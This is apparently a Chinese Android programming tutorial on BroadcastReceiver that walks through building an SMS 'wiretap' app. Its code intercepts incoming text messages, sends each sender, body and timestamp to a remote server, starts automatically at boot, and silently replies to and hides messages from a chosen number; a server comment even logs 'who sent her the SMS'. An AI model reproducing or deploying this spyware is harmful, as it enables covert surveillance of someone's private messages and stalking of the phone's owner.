一个BroadcastReceiver的对象仅仅在调用onReceiver(COntext, Intent)的时间中有效。
接受系统广播需要两步:
(1) 编写一个可以继承android.content.BroadcastReceiver的类,并实现BroadcastReceiver类中的onReceiver方法。
(2) 在AndroidMainfest.xml文件中使用<receiver>标签来指定 (1)步骤中编写的接收系统广播的类可以接受哪个Broadcast Action。
注意:如果你实在Activity.onResume()方法中注册的一个receiver,那么你必须在Activity.onPause()方法中进行注销。(当一个activity处于暂停状态是不会接收intents的,并且这样做也可以减小系统不必要的开销)。不要在Activity.onSaveInstanceState()方法中注销receiver,因为activity从栈中恢复的时候并不会调用这个方法了。
订阅广播:
IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiver receiver = new IncomingSMSReceiver();
registerReceiver(receiver, filter);
<receiver android:name="MySMSListener">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
开机启动
要实现开机启动的功能,需要的系统广播为:android.intent.action.BOOT_COMPLETED.
反复重启模拟器,会发现模拟器在启动后总是会先运行这个程序。
接收短信
服务器(videoweb):
1.修改formbean: VideoForm中增加短信的时间、内容和发送者属性
2.VideoManageAction中增加方法getSMS来获取窃听器发送的短消息
public ActionForward getSMS(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
VideoForm formbean = (VideoForm)form;
System.out.println("发送时间:"+ formbean.getTime());
System.out.println("谁给她发的短信:"+ formbean.getSender());
System.out.println("内容:"+ formbean.getContent());
return mapping.findForward("result");
}
客户端SMS_Listener
1、 清单文件
中订阅广播
<receiver android:name=".MySMSListener">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
添加短信接收权限,访问网络权限
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
2、 客户端MySMSListener.java
功能:收取短信广播,接收并解析短信然后发送至服务器端进行后台打印。
public class MySMSListener extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
if (pdus != null && pdus.length > 0) {
SmsMessage[] messages = new SmsMessage[pdus.length];
for (int i = 0; i < messages.length; i++) {
byte[] pdu = (byte[]) pdus[i];
messages[i] = SmsMessage.createFromPdu(pdu);
}
for (SmsMessage msg : messages) {
String content = msg.getMessageBody();
String sender = msg.getOriginatingAddress();
Date date = new Date(msg.getTimestampMillis());
SimpleDateFormat sdf = new SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss");
String sendTime = sdf.format(date);
Map<String,String> param = new HashMap<String,String>();
param.put("method", "getSMS");
param.put("sender", sender);
param.put("content", content);
param.put("time", sendTime);
String path =
"http://192.168.1.100:8080/videoweb/video/manage.do";
try {
SocketHttpRequester.post(path, param, "UTF-8");
} catch (Exception e) {
Log.e("TAG",e.toString());
}
}
}
}
}
3、进一步添加客户端功能:将监听到的指定的短信进行拦截并且自动进行回复。
添加短信发送权限:
<uses-permission android:name="android.permission.SEND_SMS"/>
MySMSListener的onReceive中添加代码如下:
String sendContent = sdf.format(date) + ":" + sender + "--"+ content;
Log.i("TAG",sendContent);
if(sender!= null && sender.endsWith("5556")){//5556".equals(sender)){
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage("5556",null,"game over",null,null);
this.abortBroadcast(); //终止广播
}